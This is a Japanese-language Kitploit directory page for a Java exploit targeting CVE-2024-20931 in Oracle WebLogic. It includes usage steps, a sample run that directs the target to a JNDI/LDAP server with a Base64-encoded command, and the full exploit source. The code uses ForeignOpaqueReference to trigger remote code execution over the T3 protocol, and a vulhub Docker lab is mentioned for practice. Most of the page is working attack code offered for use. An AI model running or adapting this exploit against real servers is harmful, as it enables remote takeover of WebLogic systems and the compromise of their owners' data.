Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-20931 — CVE-2023-21839のパッチをバイパスするCVE-2024-20931向けのJavaベースのエクスプロイト(Oracle WebLogic用)。ForeignOpaqueReferenceを介したJNDIインジェクションを使用して、リモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/dinosn/cve-2024-20931
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubdinosn/cve-2024-20931

CVE-2024-20931

CVE-2023-21839のパッチをバイパスするCVE-2024-20931向けのJavaベースのエクスプロイト(Oracle WebLogic用)。ForeignOpaqueReferenceを介したJNDIインジェクションを使用して、リモートコード実行を実現します。

リポジトリを見る
6113142年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-20931

CVE-2024-20931 は、Oracle WebLogic の CVE-2023-21839 のパッチをバイパスするものです。

使用方法: JNDI をセットアップします。https://github.com/WhiteHSBG/JNDIExploit/ の特定のものを使用してください。

エクスプロイト:

root@kitploit:~
java -jar CVE-2024-20931.jar
Please input target IP:127.0.0.1
Please input target port:7001
Please input RMI Address(ip:port/exp):JNDISERVER:1389/Basic/Command/Base64/BASE64COMMAND

注記:

root@kitploit:~
これは https://github.com/Leocodefocus から作り直したものです(感謝します)。https://github.com/ATonysan/CVE-2024-20931_weblogic/tree/main にもあります。すべては https://github.com/GlassyAmadeus/CVE-2024-20931 に由来します。
Java バージョン "1.8.0_151" は、JNDIExploit と現在の CVE の両方に必要です。

練習には https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839 の Docker 環境を使用してください。サポートされているコマンドは限られています。例えば curl で試してください(イメージには ping/nslookup はありません)。

root@kitploit:~
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Scanner;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import weblogic.deployment.jms.ForeignOpaqueReference;

public class MainClass {
  public static void main(String[] args) throws NamingException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
    String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    Scanner scanner = new Scanner(System.in);
    System.out.print("Please input target IP:");
    String targetIP = scanner.nextLine();
    System.out.print("Please input target port:");
    String targetPort = scanner.nextLine();
    String url = "t3://" + targetIP + ":" + targetPort;
    Hashtable<Object, Object> env1 = new Hashtable<>();
    env1.put("java.naming.factory.initial", JNDI_FACTORY);
    env1.put("java.naming.provider.url", url);
    InitialContext c = new InitialContext(env1);
    Hashtable<Object, Object> env2 = new Hashtable<>();
    System.out.print("Please input RMI Address(ip:port/exp):");
    String exp = scanner.nextLine();
    env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
    env2.put("datasource", "ldap://" + exp);
    ForeignOpaqueReference f = new ForeignOpaqueReference();
    Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
    jndiEnvironment.setAccessible(true);
    jndiEnvironment.set(f, env2);
    Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
    remoteJNDIName.setAccessible(true);
    String ldap = "ldap://" + exp;
    remoteJNDIName.set(f, ldap);
    c.rebind("glassy", f);
    try {
      c.lookup("glassy");
    } catch (Exception exception) {}
  }
}

ツールをダウンロード